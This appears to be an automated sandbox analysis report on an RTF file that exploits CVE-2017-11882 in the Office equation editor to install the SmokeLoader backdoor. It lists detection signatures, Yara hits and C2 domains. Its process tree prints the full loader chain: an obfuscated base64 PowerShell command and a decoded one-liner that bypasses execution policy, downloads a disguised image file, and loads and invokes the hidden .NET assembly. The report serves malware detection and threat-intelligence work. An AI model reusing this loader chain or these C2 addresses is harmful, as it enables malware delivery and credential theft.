Edit tour

Windows Analysis Report
SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf

Overview

General Information

Sample name:	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf
Analysis ID:	1502248
MD5:	1131d758c8208af277e943f04339e646
SHA1:	030adac1abc31aa8bc3a22dda63c4a005aee6e88
SHA256:	eb8381b156aad734ef3a0328b4985ed1edeca1c8d79d66e094598f8c6992ac71
Tags:	rtf
Infos:

Detection

SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Benign windows process drops PE files

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: Powershell download and load assembly

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Powershell download and execute

Yara detected SmokeLoader

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Checks if browser processes are running

Checks if the current machine is a virtual machine (disk enumeration)

Contains functionality to compare user and computer (likely to detect sandboxes)

Creates a thread in another existing process (thread injection)

Document exploit detected (process start blacklist hit)

Found evasive API chain (may stop execution after checking mutex)

Hides that the sample has been downloaded from the Internet (zone.identifier)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Installs new ROOT certificates

Maps a DLL or memory area into another process

Office equation editor establishes network connection

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Equation Editor Network Connection

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious Microsoft Office Child Process

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Very long command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to query CPU information (cpuid)

Contains functionality to retrieve information about pressed keystrokes

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Office Equation Editor has been started

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Suricata IDS alerts with low severity for network traffic

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 3260 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

EQNEDT32.EXE (PID: 3312 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

wscript.exe (PID: 3472 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs" MD5: 979D74799EA6C8B8167869A68DF5204A)

powershell.exe (PID: 3516 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EQ? ? ? ? ?bwB3? ? ? ? ?G4? ? ? ? ?b? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?BE? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FQ? ? ? ? ?ZQB4? ? ? ? ?HQ? ? ? ? ?LgBF? ? ? ? ?G4? ? ? ? ?YwBv? ? ? ? ?GQ? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?VQBU? ? ? ? ?EY? ? ? ? ?O? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FM? ? ? ? ?d? ? ? ? ?By? ? ? ? ?Gk? ? ? ? ?bgBn? ? ? ? ?Cg? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?QgB5? ? ? ? ?HQ? ? ? ? ?ZQBz? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?UwBU? ? ? ? ?EE? ? ? ? ?UgBU? ? ? ? ?D4? ? ? ? ?Pg? ? ? ? ?n? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?P? ? ? ? ?? ? ? ? ?8? ? ? ? ?EI? ? ? ? ?QQBT? ? ? ? ?EU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?F8? ? ? ? ?RQBO? ? ? ? ?EQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?BP? ? ? ? ?GY? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?Ck? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C4? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?E8? ? ? ? ?Zg? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?RgBs? ? ? ? ?GE? ? ? ? ?Zw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bz? ? ? ? ?HQ? ? ? ? ?YQBy? ? ? ? ?HQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQBn? ? ? ? ?GU? ? ? ? ?I? ? ? ? ?? ? ? ? ?w? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQBn? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?I? ? ? ? ?? ? ? ? ?r? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BG? ? ? ? ?Gw? ? ? ? ?YQBn? ? ? ? ?C4? ? ? ? ?T? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?ZwB0? ? ? ? ?Gg? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GI? ? ? ? ?YQBz? ? ? ? ?GU? ? ? ? ?Ng? ? ? ? ?0? ? ? ? ?Ew? ? ? ? ?ZQBu? ? ? ? ?Gc? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?ZQBu? ? ? ? ?GQ? ? ? ? ?SQBu? ? ? ? ?GQ? ? ? ? ?ZQB4? ? ? ? ?C? ? ? ? ?? ? ? ? ?LQ? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?Ek? ? ? ? ?bgBk? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?QwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBU? ? ? ? ?GU? ? ? ? ?e? ? ? ? ?B0? ? ? ? ?C4? ? ? ? ?UwB1? ? ? ? ?GI? ? ? ? ?cwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?HM? ? ? ? ?d? ? ? ? ?Bh? ? ? ? ?HI? ? ? ? ?d? ? ? ? ?BJ? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?T? ? ? ? ?Bl? ? ? ? ?G4? ? ? ? ?ZwB0? ? ? ? ?Gg? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?YwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?EM? ? ? ? ?bwBu? ? ? ? ?HY? ? ? ? ?ZQBy? ? ? ? ?HQ? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?RgBy? ? ? ? ?G8? ? ? ? ?bQBC? ? ? ? ?GE? ? ? ? ?cwBl? ? ? ? ?DY? ? ? ? ?N? ? ? ? ?BT? ? ? ? ?HQ? ? ? ? ?cgBp? ? ? ? ?G4? ? ? ? ?Zw? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?YgBh? ? ? ? ?HM? ? ? ? ?ZQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?QwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?GU? ? ? ? ?Z? ? ? ? ?BB? ? ? ? ?HM? ? ? ? ?cwBl? ? ? ? ?G0? ? ? ? ?YgBs? ? ? ? ?Hk? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?WwBT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?FI? ? ? ? ?ZQBm? ? ? ? ?Gw? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?aQBv? ? ? ? ?G4? ? ? ? ?LgBB? ? ? ? ?HM? ? ? ? ?cwBl? ? ? ? ?G0? ? ? ? ?YgBs? ? ? ? ?Hk? ? ? ? ?XQ? ? ? ? ?6? ? ? ? ?Do? ? ? ? ?T? ? ? ? ?Bv? ? ? ? ?GE? ? ? ? ?Z? ? ? ? ?? ? ? ? ?o? ? ? ? ?CQ? ? ? ? ?YwBv? ? ? ? ?G0? ? ? ? ?bQBh? ? ? ? ?G4? ? ? ? ?Z? ? ? ? ?BC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?d? ? ? ? ?B5? ? ? ? ?H? ? ? ? ?? ? ? ? ?ZQ? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gw? ? ? ? ?bwBh? ? ? ? ?GQ? ? ? ? ?ZQBk? ? ? ? ?EE? ? ? ? ?cwBz? ? ? ? ?GU? ? ? ? ?bQBi? ? ? ? ?Gw? ? ? ? ?eQ? ? ? ? ?u? ? ? ? ?Ec? ? ? ? ?ZQB0? ? ? ? ?FQ? ? ? ? ?eQBw? ? ? ? ?GU? ? ? ? ?K? ? ? ? ?? ? ? ? ?n? ? ? ? ?GQ? ? ? ? ?bgBs? ? ? ? ?Gk? ? ? ? ?Yg? ? ? ? ?u? ? ? ? ?Ek? ? ? ? ?Tw? ? ? ? ?u? ? ? ? ?Eg? ? ? ? ?bwBt? ? ? ? ?GU? ? ? ? ?Jw? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bt? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?HQ? ? ? ? ?eQBw? ? ? ? ?GU? ? ? ? ?LgBH? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?BN? ? ? ? ?GU? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?? ? ? ? ?o? ? ? ? ?Cc? ? ? ? ?VgBB? ? ? ? ?Ek? ? ? ? ?Jw? ? ? ? ?p? ? ? ? ?C4? ? ? ? ?SQBu? ? ? ? ?HY? ? ? ? ?bwBr? ? ? ? ?GU? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?G4? ? ? ? ?dQBs? ? ? ? ?Gw? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Fs? ? ? ? ?bwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?WwBd? ? ? ? ?F0? ? ? ? ?I? ? ? ? ?? ? ? ? ?o? ? ? ? ?Cc? ? ? ? ?d? ? ? ? ?B4? ? ? ? ?HQ? ? ? ? ?LgBW? ? ? ? ?EY? ? ? ? ?RQBX? ? ? ? ?C8? ? ? ? ?M? ? ? ? ?? ? ? ? ?5? ? ? ? ?C8? ? ? ? ?Ng? ? ? ? ?x? ? ? ? ?C4? ? ? ? ?O? ? ? ? ?? ? ? ? ?0? ? ? ? ?DE? ? ? ? ?Lg? ? ? ? ?0? ? ? ? ?Dk? ? ? ? ?Lg? ? ? ? ?z? ? ? ? ?DI? ? ? ? ?Lw? ? ? ? ?v? ? ? ? ?Do? ? ? ? ?c? ? ? ? ?B0? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?YQB0? ? ? ? ?Gk? ? ? ? ?dgBh? ? ? ? ?GQ? ? ? ? ?bw? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?YQB0? ? ? ? ?Gk? ? ? ? ?dgBh? ? ? ? ?GQ? ? ? ? ?bw? ? ? ? ?n? ? ? ? ?C? ? ? ? ?? ? ? ? ?L? ? ? ? ?? ? ? ? ?g? ? ? ? ?Cc? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?YQB0? ? ? ? ?Gk? ? ? ? ?dgBh? ? ? ? ?GQ? ? ? ? ?bw? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?JwBS? ? ? ? ?GU? ? ? ? ?ZwBB? ? ? ? ?HM? ? ? ? ?bQ? ? ? ? ?n? ? ? ? ?Cw? ? ? ? ?Jw? ? ? ? ?n? ? ? ? ?Ck? ? ? ? ?KQ? ? ? ? ?=';$OWjuxD = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $Codigo.replace('? ? ? ? ?','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3628 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia803104.us.archive.org/27/items/vbs_20240726_20240726/vbs.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.VFEW/09/61.841.49.32//:ptth' , 'desativado' , 'desativado' , 'desativado','RegAsm',''))" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

RegAsm.exe (PID: 3732 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)

RegAsm.exe (PID: 3740 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)

RegAsm.exe (PID: 3748 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 8FE9545E9F72E460723F484C304314AD)

explorer.exe (PID: 1244 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 4056 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 4080 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2480 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 1872 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 2772 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2840 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 2836 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

explorer.exe (PID: 2704 cmdline: C:\Windows\SysWOW64\explorer.exe MD5: 6DDCA324434FFA506CF7DC4E51DB7935)

explorer.exe (PID: 2460 cmdline: C:\Windows\explorer.exe MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

EQNEDT32.EXE (PID: 3876 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

taskeng.exe (PID: 3988 cmdline: taskeng.exe {B5E7D6C9-0A45-4095-9C68-D1725C8390DE} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1] MD5: 65EA57712340C09B1B0C427B4848AE05)

gwseuha (PID: 4020 cmdline: C:\Users\user\AppData\Roaming\gwseuha MD5: 8FE9545E9F72E460723F484C304314AD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SmokeLoader	The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.	SMOKY SPIDER	http://security.neurolabs.club/2019/08/smokeloaders-hardcoded-domains-sneaky.html http://security.neurolabs.club/2019/10/dynamic-imports-and-working-around.html http://security.neurolabs.club/2020/04/diffing-malware-samples-using-bindiff.html http://security.neurolabs.club/2020/06/unpacking-smokeloader-and.html https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries	https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader

Malware Configuration

Threatname: SmokeLoader

{"Version": 2022, "C2 list": ["http://prolinice.ga/index.php", "http://vilendar.ga/index.php"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf	INDICATOR_RTF_MalVer_Objects	Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.	ditekSHen	0x1479:$obj2: \objdata 0x1461:$obj3: \objupdate 0x143d:$obj4: \objemb

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000C.00000002.629839810.0000000002801000.00000020.80000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000A.00000002.376080124.00000000000C1000.00000004.10000000.00040000.00000000.sdmp	Windows_Trojan_Smokeloader_4e31426e	unknown	unknown	0x1d4:$a: 5B 81 EB 34 10 00 00 6A 30 58 64 8B 00 8B 40 0C 8B 40 1C 8B 40 08 89 85 C0
